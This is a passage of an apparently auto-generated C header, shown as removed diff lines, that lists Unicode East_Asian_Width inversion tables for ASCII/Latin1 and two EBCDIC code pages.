0x25E6, - 0x25EF, - 0x25F0, - 0x2605, - 0x2607, - 0x2609, - 0x260A, - 0x260E, - 0x2610, - 0x261C, - 0x261D, - 0x261E, - 0x261F, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2660, - 0x2662, - 0x2663, - 0x2666, - 0x2667, - 0x266B, - 0x266C, - 0x266E, - 0x266F, - 0x2670, - 0x269E, - 0x26A0, - 0x26BF, - 0x26C0, - 0x26C6, - 0x26CE, - 0x26CF, - 0x26D4, - 0x26D5, - 0x26E2, - 0x26E3, - 0x26E4, - 0x26E8, - 0x26EA, - 0x26EB, - 0x26F2, - 0x26F4, - 0x26F5, - 0x26F6, - 0x26FA, - 0x26FB, - 0x26FD, - 0x26FE, - 0x2700, - 0x273D, - 0x273E, - 0x2776, - 0x2780, - 0x2B56, - 0x2B5A, - 0x3248, - 0x3250, - 0xE000, - 0xF900, - 0xFE00, - 0xFE10, - 0xFFFD, - 0xFFFE, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12E, - 0x1F130, - 0x1F16A, - 0x1F170, - 0x1F18E, - 0x1F18F, - 0x1F191, - 0x1F19B, - 0x1F1AD, - 0xE0100, - 0xE01F0, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_EA__A_invlist[] = { /* for EBCDIC 037 */ - 361, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x44, - 0x46, - 0x51, - 0x53, - 0x54, - 0x56, - 0x58, - 0x5A, - 0x70, - 0x71, - 0x80, - 0x81, - 0x8C, - 0x8D, - 0x8E, - 0x91, - 0x9A, - 0xA0, - 0xAA, - 0xAD, - 0xAE, - 0xB0, - 0xB3, - 0xB4, - 0xB5, - 0xBA, - 0xBD, - 0xC0, - 0xCA, - 0xCB, - 0xCD, - 0xCF, - 0xDA, - 0xDB, - 0xDC, - 0xDF, - 0xE1, - 0xE2, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0x101, - 0x102, - 0x111, - 0x112, - 0x113, - 0x114, - 0x11B, - 0x11C, - 0x126, - 0x128, - 0x12B, - 0x12C, - 0x131, - 0x134, - 0x138, - 0x139, - 0x13F, - 0x143, - 0x144, - 0x145, - 0x148, - 0x14C, - 0x14D, - 0x14E, - 0x152, - 0x154, - 0x166, - 0x168, - 0x16B, - 0x16C, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DD, - 0x251, - 0x252, - 0x261, - 0x262, - 0x2C4, - 0x2C5, - 0x2C7, - 0x2C8, - 0x2C9, - 0x2CC, - 0x2CD, - 0x2CE, - 0x2D0, - 0x2D1, - 0x2D8, - 0x2DC, - 0x2DD, - 0x2DE, - 0x2DF, - 0x2E0, - 0x300, - 0x370, - 0x391, - 0x3A2, - 0x3A3, - 0x3AA, - 0x3B1, - 0x3C2, - 0x3C3, - 0x3CA, - 0x401, - 0x402, - 0x410, - 0x450, - 0x451, - 0x452, - 0x2010, - 0x2011, - 0x2013, - 0x2017, - 0x2018, - 0x201A, - 0x201C, - 0x201E, - 0x2020, - 0x2023, - 0x2024, - 0x2028, - 0x2030, - 0x2031, - 0x2032, - 0x2034, - 0x2035, - 0x2036, - 0x203B, - 0x203C, - 0x203E, - 0x203F, - 0x2074, - 0x2075, - 0x207F, - 0x2080, - 0x2081, - 0x2085, - 0x20AC, - 0x20AD, - 0x2103, - 0x2104, - 0x2105, - 0x2106, - 0x2109, - 0x210A, - 0x2113, - 0x2114, - 0x2116, - 0x2117, - 0x2121, - 0x2123, - 0x2126, - 0x2127, - 0x212B, - 0x212C, - 0x2153, - 0x2155, - 0x215B, - 0x215F, - 0x2160, - 0x216C, - 0x2170, - 0x217A, - 0x2189, - 0x218A, - 0x2190, - 0x219A, - 0x21B8, - 0x21BA, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x21E7, - 0x21E8, - 0x2200, - 0x2201, - 0x2202, - 0x2204, - 0x2207, - 0x2209, - 0x220B, - 0x220C, - 0x220F, - 0x2210, - 0x2211, - 0x2212, - 0x2215, - 0x2216, - 0x221A, - 0x221B, - 0x221D, - 0x2221, - 0x2223, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222D, - 0x222E, - 0x222F, - 0x2234, - 0x2238, - 0x223C, - 0x223E, - 0x2248, - 0x2249, - 0x224C, - 0x224D, - 0x2252, - 0x2253, - 0x2260, - 0x2262, - 0x2264, - 0x2268, - 0x226A, - 0x226C, - 0x226E, - 0x2270, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x2295, - 0x2296, - 0x2299, - 0x229A, - 0x22A5, - 0x22A6, - 0x22BF, - 0x22C0, - 0x2312, - 0x2313, - 0x2460, - 0x24EA, - 0x24EB, - 0x254C, - 0x2550, - 0x2574, - 0x2580, - 0x2590, - 0x2592, - 0x2596, - 0x25A0, - 0x25A2, - 0x25A3, - 0x25AA, - 0x25B2, - 0x25B4, - 0x25B6, - 0x25B8, - 0x25BC, - 0x25BE, - 0x25C0, - 0x25C2, - 0x25C6, - 0x25C9, - 0x25CB, - 0x25CC, - 0x25CE, - 0x25D2, - 0x25E2, - 0x25E6, - 0x25EF, - 0x25F0, - 0x2605, - 0x2607, - 0x2609, - 0x260A, - 0x260E, - 0x2610, - 0x261C, - 0x261D, - 0x261E, - 0x261F, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2660, - 0x2662, - 0x2663, - 0x2666, - 0x2667, - 0x266B, - 0x266C, - 0x266E, - 0x266F, - 0x2670, - 0x269E, - 0x26A0, - 0x26BF, - 0x26C0, - 0x26C6, - 0x26CE, - 0x26CF, - 0x26D4, - 0x26D5, - 0x26E2, - 0x26E3, - 0x26E4, - 0x26E8, - 0x26EA, - 0x26EB, - 0x26F2, - 0x26F4, - 0x26F5, - 0x26F6, - 0x26FA, - 0x26FB, - 0x26FD, - 0x26FE, - 0x2700, - 0x273D, - 0x273E, - 0x2776, - 0x2780, - 0x2B56, - 0x2B5A, - 0x3248, - 0x3250, - 0xE000, - 0xF900, - 0xFE00, - 0xFE10, - 0xFFFD, - 0xFFFE, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12E, - 0x1F130, - 0x1F16A, - 0x1F170, - 0x1F18E, - 0x1F18F, - 0x1F191, - 0x1F19B, - 0x1F1AD, - 0xE0100, - 0xE01F0, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_EA__F_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3000, - 0x3001, - 0xFF01, - 0xFF61, - 0xFFE0, - 0xFFE7 -}; - -static const UV PL_EA__H_invlist[] = { /* for all charsets */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20A9, - 0x20AA, - 0xFF61, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE8, - 0xFFEF -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_EA__N_invlist[] = { /* for ASCII/Latin1 */ - 533, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20, - 0x7F, - 0xA1, - 0xA9, - 0xAA, - 0xAB, - 0xAC, - 0xB5, - 0xB6, - 0xBB, - 0xBC, - 0xC0, - 0xC6, - 0xC7, - 0xD0, - 0xD1, - 0xD7, - 0xD9, - 0xDE, - 0xE2, - 0xE6, - 0xE7, - 0xE8, - 0xEB, - 0xEC, - 0xEE, - 0xF0, - 0xF1, - 0xF2, - 0xF4, - 0xF7, - 0xFB, - 0xFC, - 0xFD, - 0xFE, - 0xFF, - 0x101, - 0x102, - 0x111, - 0x112, - 0x113, - 0x114, - 0x11B, - 0x11C, - 0x126, - 0x128, - 0x12B, - 0x12C, - 0x131, - 0x134, - 0x138, - 0x139, - 0x13F, - 0x143, - 0x144, - 0x145, - 0x148, - 0x14C, - 0x14D, - 0x14E, - 0x152, - 0x154, - 0x166, - 0x168, - 0x16B, - 0x16C, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DD, - 0x251, - 0x252, - 0x261, - 0x262, - 0x2C4, - 0x2C5, - 0x2C7, - 0x2C8, - 0x2C9, - 0x2CC, - 0x2CD, - 0x2CE, - 0x2D0, - 0x2D1, - 0x2D8, - 0x2DC, - 0x2DD, - 0x2DE, - 0x2DF, - 0x2E0, - 0x300, - 0x370, - 0x391, - 0x3A2, - 0x3A3, - 0x3AA, - 0x3B1, - 0x3C2, - 0x3C3, - 0x3CA, - 0x401, - 0x402, - 0x410, - 0x450, - 0x451, - 0x452, - 0x1100, - 0x1160, - 0x2010, - 0x2011, - 0x2013, - 0x2017, - 0x2018, - 0x201A, - 0x201C, - 0x201E, - 0x2020, - 0x2023, - 0x2024, - 0x2028, - 0x2030, - 0x2031, - 0x2032, - 0x2034, - 0x2035, - 0x2036, - 0x203B, - 0x203C, - 0x203E, - 0x203F, - 0x2074, - 0x2075, - 0x207F, - 0x2080, - 0x2081, - 0x2085, - 0x20A9, - 0x20AA, - 0x20AC, - 0x20AD, - 0x2103, - 0x2104, - 0x2105, - 0x2106, - 0x2109, - 0x210A, - 0x2113, - 0x2114, - 0x2116, - 0x2117, - 0x2121, - 0x2123, - 0x2126, - 0x2127, - 0x212B, - 0x212C, - 0x2153, - 0x2155, - 0x215B, - 0x215F, - 0x2160, - 0x216C, - 0x2170, - 0x217A, - 0x2189, - 0x218A, - 0x2190, - 0x219A, - 0x21B8, - 0x21BA, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x21E7, - 0x21E8, - 0x2200, - 0x2201, - 0x2202, - 0x2204, - 0x2207, - 0x2209, - 0x220B, - 0x220C, - 0x220F, - 0x2210, - 0x2211, - 0x2212, - 0x2215, - 0x2216, - 0x221A, - 0x221B, - 0x221D, - 0x2221, - 0x2223, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222D, - 0x222E, - 0x222F, - 0x2234, - 0x2238, - 0x223C, - 0x223E, - 0x2248, - 0x2249, - 0x224C, - 0x224D, - 0x2252, - 0x2253, - 0x2260, - 0x2262, - 0x2264, - 0x2268, - 0x226A, - 0x226C, - 0x226E, - 0x2270, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x2295, - 0x2296, - 0x2299, - 0x229A, - 0x22A5, - 0x22A6, - 0x22BF, - 0x22C0, - 0x2312, - 0x2313, - 0x231A, - 0x231C, - 0x2329, - 0x232B, - 0x23E9, - 0x23ED, - 0x23F0, - 0x23F1, - 0x23F3, - 0x23F4, - 0x2460, - 0x24EA, - 0x24EB, - 0x254C, - 0x2550, - 0x2574, - 0x2580, - 0x2590, - 0x2592, - 0x2596, - 0x25A0, - 0x25A2, - 0x25A3, - 0x25AA, - 0x25B2, - 0x25B4, - 0x25B6, - 0x25B8, - 0x25BC, - 0x25BE, - 0x25C0, - 0x25C2, - 0x25C6, - 0x25C9, - 0x25CB, - 0x25CC, - 0x25CE, - 0x25D2, - 0x25E2, - 0x25E6, - 0x25EF, - 0x25F0, - 0x25FD, - 0x25FF, - 0x2605, - 0x2607, - 0x2609, - 0x260A, - 0x260E, - 0x2610, - 0x2614, - 0x2616, - 0x261C, - 0x261D, - 0x261E, - 0x261F, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2648, - 0x2654, - 0x2660, - 0x2662, - 0x2663, - 0x2666, - 0x2667, - 0x266B, - 0x266C, - 0x266E, - 0x266F, - 0x2670, - 0x267F, - 0x2680, - 0x2693, - 0x2694, - 0x269E, - 0x26A0, - 0x26A1, - 0x26A2, - 0x26AA, - 0x26AC, - 0x26BD, - 0x26C0, - 0x26C4, - 0x26E2, - 0x26E3, - 0x26E4, - 0x26E8, - 0x2700, - 0x2705, - 0x2706, - 0x270A, - 0x270C, - 0x2728, - 0x2729, - 0x273D, - 0x273E, - 0x274C, - 0x274D, - 0x274E, - 0x274F, - 0x2753, - 0x2756, - 0x2757, - 0x2758, - 0x2776, - 0x2780, - 0x2795, - 0x2798, - 0x27B0, - 0x27B1, - 0x27BF, - 0x27C0, - 0x27E6, - 0x27EE, - 0x2985, - 0x2987, - 0x2B1B, - 0x2B1D, - 0x2B50, - 0x2B51, - 0x2B55, - 0x2B5A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x303F, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DC0, - 0x4E00, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA960, - 0xA97D, - 0xAC00, - 0xD7A4, - 0xE000, - 0xFB00, - 0xFE00, - 0xFE1A, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFFD, - 0xFFFE, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1F004, - 0x1F005, - 0x1F0CF, - 0x1F0D0, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12E, - 0x1F130, - 0x1F16A, - 0x1F170, - 0x1F1AD, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F321, - 0x1F32D, - 0x1F336, - 0x1F337, - 0x1F37D, - 0x1F37E, - 0x1F394, - 0x1F3A0, - 0x1F3CB, - 0x1F3CF, - 0x1F3D4, - 0x1F3E0, - 0x1F3F1, - 0x1F3F4, - 0x1F3F5, - 0x1F3F8, - 0x1F43F, - 0x1F440, - 0x1F441, - 0x1F442, - 0x1F4FD, - 0x1F4FF, - 0x1F53E, - 0x1F54B, - 0x1F54F, - 0x1F550, - 0x1F568, - 0x1F57A, - 0x1F57B, - 0x1F595, - 0x1F597, - 0x1F5A4, - 0x1F5A5, - 0x1F5FB, - 0x1F650, - 0x1F680, - 0x1F6C6, - 0x1F6CC, - 0x1F6CD, - 0x1F6D0, - 0x1F6D3, - 0x1F6EB, - 0x1F6ED, - 0x1F6F4, - 0x1F6F9, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0xE0100, - 0xE01F0, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_EA__N_invlist[] = { /* for EBCDIC 1047 */ - 531, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0x41, - 0x44, - 0x46, - 0x4A, - 0x53, - 0x54, - 0x56, - 0x58, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x8A, - 0x8C, - 0x8D, - 0x8E, - 0xA0, - 0xA1, - 0xB4, - 0xB5, - 0xBA, - 0xBB, - 0xCB, - 0xCD, - 0xCF, - 0xD0, - 0xDB, - 0xDC, - 0xDF, - 0xE0, - 0xEB, - 0xF0, - 0xFB, - 0x101, - 0x102, - 0x111, - 0x112, - 0x113, - 0x114, - 0x11B, - 0x11C, - 0x126, - 0x128, - 0x12B, - 0x12C, - 0x131, - 0x134, - 0x138, - 0x139, - 0x13F, - 0x143, - 0x144, - 0x145, - 0x148, - 0x14C, - 0x14D, - 0x14E, - 0x152, - 0x154, - 0x166, - 0x168, - 0x16B, - 0x16C, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DD, - 0x251, - 0x252, - 0x261, - 0x262, - 0x2C4, - 0x2C5, - 0x2C7, - 0x2C8, - 0x2C9, - 0x2CC, - 0x2CD, - 0x2CE, - 0x2D0, - 0x2D1, - 0x2D8, - 0x2DC, - 0x2DD, - 0x2DE, - 0x2DF, - 0x2E0, - 0x300, - 0x370, - 0x391, - 0x3A2, - 0x3A3, - 0x3AA, - 0x3B1, - 0x3C2, - 0x3C3, - 0x3CA, - 0x401, - 0x402, - 0x410, - 0x450, - 0x451, - 0x452, - 0x1100, - 0x1160, - 0x2010, - 0x2011, - 0x2013, - 0x2017, - 0x2018, - 0x201A, - 0x201C, - 0x201E, - 0x2020, - 0x2023, - 0x2024, - 0x2028, - 0x2030, - 0x2031, - 0x2032, - 0x2034, - 0x2035, - 0x2036, - 0x203B, - 0x203C, - 0x203E, - 0x203F, - 0x2074, - 0x2075, - 0x207F, - 0x2080, - 0x2081, - 0x2085, - 0x20A9, - 0x20AA, - 0x20AC, - 0x20AD, - 0x2103, - 0x2104, - 0x2105, - 0x2106, - 0x2109, - 0x210A, - 0x2113, - 0x2114, - 0x2116, - 0x2117, - 0x2121, - 0x2123, - 0x2126, - 0x2127, - 0x212B, - 0x212C, - 0x2153, - 0x2155, - 0x215B, - 0x215F, - 0x2160, - 0x216C, - 0x2170, - 0x217A, - 0x2189, - 0x218A, - 0x2190, - 0x219A, - 0x21B8, - 0x21BA, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x21E7, - 0x21E8, - 0x2200, - 0x2201, - 0x2202, - 0x2204, - 0x2207, - 0x2209, - 0x220B, - 0x220C, - 0x220F, - 0x2210, - 0x2211, - 0x2212, - 0x2215, - 0x2216, - 0x221A, - 0x221B, - 0x221D, - 0x2221, - 0x2223, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222D, - 0x222E, - 0x222F, - 0x2234, - 0x2238, - 0x223C, - 0x223E, - 0x2248, - 0x2249, - 0x224C, - 0x224D, - 0x2252, - 0x2253, - 0x2260, - 0x2262, - 0x2264, - 0x2268, - 0x226A, - 0x226C, - 0x226E, - 0x2270, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x2295, - 0x2296, - 0x2299, - 0x229A, - 0x22A5, - 0x22A6, - 0x22BF, - 0x22C0, - 0x2312, - 0x2313, - 0x231A, - 0x231C, - 0x2329, - 0x232B, - 0x23E9, - 0x23ED, - 0x23F0, - 0x23F1, - 0x23F3, - 0x23F4, - 0x2460, - 0x24EA, - 0x24EB, - 0x254C, - 0x2550, - 0x2574, - 0x2580, - 0x2590, - 0x2592, - 0x2596, - 0x25A0, - 0x25A2, - 0x25A3, - 0x25AA, - 0x25B2, - 0x25B4, - 0x25B6, - 0x25B8, - 0x25BC, - 0x25BE, - 0x25C0, - 0x25C2, - 0x25C6, - 0x25C9, - 0x25CB, - 0x25CC, - 0x25CE, - 0x25D2, - 0x25E2, - 0x25E6, - 0x25EF, - 0x25F0, - 0x25FD, - 0x25FF, - 0x2605, - 0x2607, - 0x2609, - 0x260A, - 0x260E, - 0x2610, - 0x2614, - 0x2616, - 0x261C, - 0x261D, - 0x261E, - 0x261F, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2648, - 0x2654, - 0x2660, - 0x2662, - 0x2663, - 0x2666, - 0x2667, - 0x266B, - 0x266C, - 0x266E, - 0x266F, - 0x2670, - 0x267F, - 0x2680, - 0x2693, - 0x2694, - 0x269E, - 0x26A0, - 0x26A1, - 0x26A2, - 0x26AA, - 0x26AC, - 0x26BD, - 0x26C0, - 0x26C4, - 0x26E2, - 0x26E3, - 0x26E4, - 0x26E8, - 0x2700, - 0x2705, - 0x2706, - 0x270A, - 0x270C, - 0x2728, - 0x2729, - 0x273D, - 0x273E, - 0x274C, - 0x274D, - 0x274E, - 0x274F, - 0x2753, - 0x2756, - 0x2757, - 0x2758, - 0x2776, - 0x2780, - 0x2795, - 0x2798, - 0x27B0, - 0x27B1, - 0x27BF, - 0x27C0, - 0x27E6, - 0x27EE, - 0x2985, - 0x2987, - 0x2B1B, - 0x2B1D, - 0x2B50, - 0x2B51, - 0x2B55, - 0x2B5A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x303F, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DC0, - 0x4E00, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA960, - 0xA97D, - 0xAC00, - 0xD7A4, - 0xE000, - 0xFB00, - 0xFE00, - 0xFE1A, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFFD, - 0xFFFE, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1F004, - 0x1F005, - 0x1F0CF, - 0x1F0D0, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12E, - 0x1F130, - 0x1F16A, - 0x1F170, - 0x1F1AD, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F321, - 0x1F32D, - 0x1F336, - 0x1F337, - 0x1F37D, - 0x1F37E, - 0x1F394, - 0x1F3A0, - 0x1F3CB, - 0x1F3CF, - 0x1F3D4, - 0x1F3E0, - 0x1F3F1, - 0x1F3F4, - 0x1F3F5, - 0x1F3F8, - 0x1F43F, - 0x1F440, - 0x1F441, - 0x1F442, - 0x1F4FD, - 0x1F4FF, - 0x1F53E, - 0x1F54B, - 0x1F54F, - 0x1F550, - 0x1F568, - 0x1F57A, - 0x1F57B, - 0x1F595, - 0x1F597, - 0x1F5A4, - 0x1F5A5, - 0x1F5FB, - 0x1F650, - 0x1F680, - 0x1F6C6, - 0x1F6CC, - 0x1F6CD, - 0x1F6D0, - 0x1F6D3, - 0x1F6EB, - 0x1F6ED, - 0x1F6F4, - 0x1F6F9, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0xE0100, - 0xE01F0, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_EA__N_invlist[] = { /* for EBCDIC 037 */ - 531, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0x41, - 0x44, - 0x46, - 0x4A, - 0x53, - 0x54, - 0x56, - 0x58, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x8A, - 0x8C, - 0x8D, - 0x8E, - 0xA0, - 0xA1, - 0xAD, - 0xAE, - 0xB4, - 0xB5, - 0xCB, - 0xCD, - 0xCF, - 0xD0, - 0xDB, - 0xDC, - 0xDF, - 0xE0, - 0xEB, - 0xF0, - 0xFB, - 0x101, - 0x102, - 0x111, - 0x112, - 0x113, - 0x114, - 0x11B, - 0x11C, - 0x126, - 0x128, - 0x12B, - 0x12C, - 0x131, - 0x134, - 0x138, - 0x139, - 0x13F, - 0x143, - 0x144, - 0x145, - 0x148, - 0x14C, - 0x14D, - 0x14E, - 0x152, - 0x154, - 0x166, - 0x168, - 0x16B, - 0x16C, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DD, - 0x251, - 0x252, - 0x261, - 0x262, - 0x2C4, - 0x2C5, - 0x2C7, - 0x2C8, - 0x2C9, - 0x2CC, - 0x2CD, - 0x2CE, - 0x2D0, - 0x2D1, - 0x2D8, - 0x2DC, - 0x2DD, - 0x2DE, - 0x2DF, - 0x2E0, - 0x300, - 0x370, - 0x391, - 0x3A2, - 0x3A3, - 0x3AA, - 0x3B1, - 0x3C2, - 0x3C3, - 0x3CA, - 0x401, - 0x402, - 0x410, - 0x450, - 0x451, - 0x452, - 0x1100, - 0x1160, - 0x2010, - 0x2011, - 0x2013, - 0x2017, - 0x2018, - 0x201A, - 0x201C, - 0x201E, - 0x2020, - 0x2023, - 0x2024, - 0x2028, - 0x2030, - 0x2031, - 0x2032, - 0x2034, - 0x2035, - 0x2036, - 0x203B, - 0x203C, - 0x203E, - 0x203F, - 0x2074, - 0x2075, - 0x207F, - 0x2080, - 0x2081, - 0x2085, - 0x20A9, - 0x20AA, - 0x20AC, - 0x20AD, - 0x2103, - 0x2104, - 0x2105, - 0x2106, - 0x2109, - 0x210A, - 0x2113, - 0x2114, - 0x2116, - 0x2117, - 0x2121, - 0x2123, - 0x2126, - 0x2127, - 0x212B, - 0x212C, - 0x2153, - 0x2155, - 0x215B, - 0x215F, - 0x2160, - 0x216C, - 0x2170, - 0x217A, - 0x2189, - 0x218A, - 0x2190, - 0x219A, - 0x21B8, - 0x21BA, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x21E7, - 0x21E8, - 0x2200, - 0x2201, - 0x2202, - 0x2204, - 0x2207, - 0x2209, - 0x220B, - 0x220C, - 0x220F, - 0x2210, - 0x2211, - 0x2212, - 0x2215, - 0x2216, - 0x221A, - 0x221B, - 0x221D, - 0x2221, - 0x2223, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222D, - 0x222E, - 0x222F, - 0x2234, - 0x2238, - 0x223C, - 0x223E, - 0x2248, - 0x2249, - 0x224C, - 0x224D, - 0x2252, - 0x2253, - 0x2260, - 0x2262, - 0x2264, - 0x2268, - 0x226A, - 0x226C, - 0x226E, - 0x2270, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x2295, - 0x2296, - 0x2299, - 0x229A, - 0x22A5, - 0x22A6, - 0x22BF, - 0x22C0, - 0x2312, - 0x2313, - 0x231A, - 0x231C, - 0x2329, - 0x232B, - 0x23E9, - 0x23ED, - 0x23F0, - 0x23F1, - 0x23F3, - 0x23F4, - 0x2460, - 0x24EA, - 0x24EB, - 0x254C, - 0x2550, - 0x2574, - 0x2580, - 0x2590, - 0x2592, - 0x2596, - 0x25A0, - 0x25A2, - 0x25A3, - 0x25AA, - 0x25B2, - 0x25B4, - 0x25B6, - 0x25B8, - 0x25BC, - 0x25BE, - 0x25C0, - 0x25C2, - 0x25C6, - 0x25C9, - 0x25CB, - 0x25CC, - 0x25CE, - 0x25D2, - 0x25E2, - 0x25E6, - 0x25EF, - 0x25F0, - 0x25FD, - 0x25FF, - 0x2605, - 0x2607, - 0x2609, - 0x260A, - 0x260E, - 0x2610, - 0x2614, - 0x2616, - 0x261C, - 0x261D, - 0x261E, - 0x261F, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2648, - 0x2654, - 0x2660, - 0x2662, - 0x2663, - 0x2666, - 0x2667, - 0x266B, - 0x266C, - 0x266E, - 0x266F, - 0x2670, - 0x267F, - 0x2680, - 0x2693, - 0x2694, - 0x269E, - 0x26A0, - 